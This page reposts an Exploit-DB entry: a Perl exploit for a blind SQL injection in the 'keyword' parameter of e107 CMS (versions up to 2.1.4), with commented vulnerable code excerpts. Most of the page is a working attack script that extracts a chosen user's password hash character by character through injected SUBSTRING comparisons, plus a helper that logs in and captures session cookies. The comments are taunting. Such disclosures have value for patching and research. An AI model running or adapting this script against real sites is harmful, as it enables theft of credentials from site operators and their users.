e107 < 2.1.4 - 'keyword' Blind SQL Injection

  • 作者: StAkeR
    日期: 2017-03-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41580/
  • #!/usr/bin/perl
    #
    #
    # e107 <= 2.1.4 "keyword" Blind SQL Injection Exploit
    #
    # --------------------------------------------------------------------------
    # [*] Discovered by staker - staker[at]hotmail[dot]it 
    # [*] Discovered on 09/03/2017
    # [*] Site Vendor: http://www.e107.org
    # [*] BUG: Blind SQL Injection
    # --------------------------------------------------------------------------
    #
    #
    # Description
    # -------------------------------------------------------------------------
    # e107 contains one flaw that allows an attacker to carry out an SQL
    # injection attack. The issue is due to the "e107_plugins/pm/pm.php" script 
    # not properly saniting user-supplied input to the "keyword" POST variable
    # This may allow an attacker to inject or manipulate sql queries in
    # the backend database regardless of php.ini settings
    # -------------------------------------------------------------------------
    # SHORT EXPLANATION
    # -----------------------------------
    # 
    # FILE:"e107_handlers/core_functions.php"
    #
    # 76. function vartrue(&$val, $default='') 
    # 77. {
    # 78. if (isset($val) && $val) { return $val; } {1} <--- variable is not sanized to be sent at the mysql database
    # 79.return $default;
    # 80.}
    #
    # ----------------------------------
    #
    # FILE: "e107/e107_plugins/pm/pm.php"
    #
    # 
    # 35. if(vartrue($_POST['keyword'])) {2}<--- if $_POST keyword variable is set, then e107 starts pm_user_lookup() function.
    # 36. {
    # 37. pm_user_lookup();
    # 38.}
    #
    #
    #
    # 615. function pm_user_lookup()
    # 616. {
    # 617.$sql = e107::getDb();
    # 618.
    # 619. $query = "SELECT * FROM #user WHERE user_name REGEXP '^".$_POST['keyword']."' "; {3} <---- variable not sanized
    # 620. if($sql->gen($query))
    # 621. {
    # 622. echo '[';
    # 623while($row = $sql->fetch())
    # 624. {
    # 625. $u[] ="{\"caption\":\"".$row['user_name']."\",\"value\":".$row['user_id']."}";
    # 626. }
    # 627.
    # 628.echo implode(",",$u);
    # 629.echo ']';
    # -----------------------------------
    #
    #
    # use your brain..
    #
    # Greetz to: Warwolfz Crew,
    # meh, Dante90, SHADES MASTER and nexen
    #
    # -- 0gay --
    #
    # -----------------------------------
    # YOUR MOM IS NOT SAFE ANYMORE!!
    # CALL HER!!
    # -----------------------------------
    
    
    
    use strict;
    use IO::Socket::INET;
    use LWP::UserAgent;
    
    
    
    
    my ($URL,$uid) = @ARGV;
    my @chars = (8..122);
    my ($i,$ord,$hash) = (1,undef,undef);
    
    
    
    
    
    if (@ARGV != 2) { usage(); } 
    
    
    $URL = parse::URL($URL);
    
    
    syswrite (STDOUT,"[-] Crypted Password: ");
    
    
    for ($i=0;$i<=60;$i++) 
    {
     			
     foreach $ord (@chars) 
     { 
     
    if (e107::Query(sql($i,$ord),$URL) == 666 ) 
    	{
    	syswrite (STDOUT,chr($ord));
    		$hash .= chr($ord);
    		last;
    	}
    	if ($i == 2 and not defined $hash) 
    	{
    	 syswrite (STDOUT,"\n[-] Exploit Failed");
    		 exit;
    	}	 
     }		 
    }
    
    
    
    if (length($hash) == 60) {
     die "\[-]Exploit Successfully";
    }
    else {
     die "\n[-] Exploit Failed";
    } 
    
    
    
    
    
    sub e107::Query 
    {
     
    # 1st parameter, sql query
    # 2nd parameter, e107 website	
    
    	my ($query,$URL) = @_;
    my $response = undef; 
    	
    my $lwp = new LWP::UserAgent;
    
    
    $lwp->default_header('User-Agent' => 'Lynx (textmode)');
    
    $response = $lwp->post($URL."/pm/",
    [ 
    			 keyword => $query
    			]) or die $!;
    
    
    if ($response->content =~ /caption/) {
    		 return 666;
    		} 
    else {
     return 0;
    }		 
    		 
    }
    
    
    sub parse::URL
    {
    my $string = shift @_ || die($!);
     
    if ($string !~ /^http:\/\/?/i) {
    $string = 'http://'.$string;
    }
     
    return $string;
     }
     
    
    
    sub sql
    {
     
    # 1st parameter, an e107's userid
    # 2nd parameter substring number
    # 3rd parameter charcode number
    
    my ($i,$j,$sql) = (shift,shift,undef);
     
    $sql = "' AND ASCII(SUBSTRING((SELECT user_password FROM e107_user WHERE user_id=".$uid."),".$i.",1))=".$j."#";
    
    return $sql;
    }
    
    
    
    
    
    sub e107::Cookies
    {
    
    my ($username,$password) = @_;
    my ($packet,$content);
    
    my $host = "127.0.0.1"; # Valid Host(insert it manually)
    		my $path = "/e107/";# Valid e107 path (insert it manually)
    		
    		
    		my $data = "username=",$username."&userpass=".$password."&userlogin=Sign+In";
    		
    		
    		my $socket= new IO::Socket::INET(
    PeerAddr => $host,
    PeerPort => 80,
    Proto=> 'tcp',
    ) or die $!;
    		
    		
    		 
    $packet .= "POST ".$path."/login.php HTTP/1.1\r\n";
    $packet .= "Host: ".$host."\r\n";
    $packet .= "User-Agent: Lynx (textmode)\r\n";
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $packet .= "Content-Length:".length($data)."\r\n";
    $packet .= "Connection: close\r\n\r\n";
    $packet.= $data;
    		
    
    		$socket->send($packet);
    		
    		while (<$socket>) {
    		$content .= $_;
    		}
    		
    		
    		if ($content =~ /Set-Cookie: (.+?)/) {
    		return $1;
    	}
    else {
    die("[-] Login Failed..\n");
    }			
    		
    		
    	# This function is useful to log-in and retrieves your cookies, but you don't need it for this exploit.
    # it works without log-in, but if you got some trouble, try to use this one.
    
    	# e107::Login('YOUR USERNAME','YOUR PASSWORD');
    }		
    		
    		
    sub usage() {
     
    print "[*---------------------------------------------------------*]\n".
    "[*e107 <= 2.1.4 'keyword' Blind SQL Injection Exploit*]\n".
    "[*---------------------------------------------------------*]\n". 
    "[* Usage: perl web.pl [host] [uid] *]\n".
    "[* *]\n".
    "[* Options:*]\n".
    "[* [host] insert a valid host*]\n".
    "[* [uid]insert a userid*]\n".
    "[*---------------------------------------------------------*]\n";
    exit; 
    
    }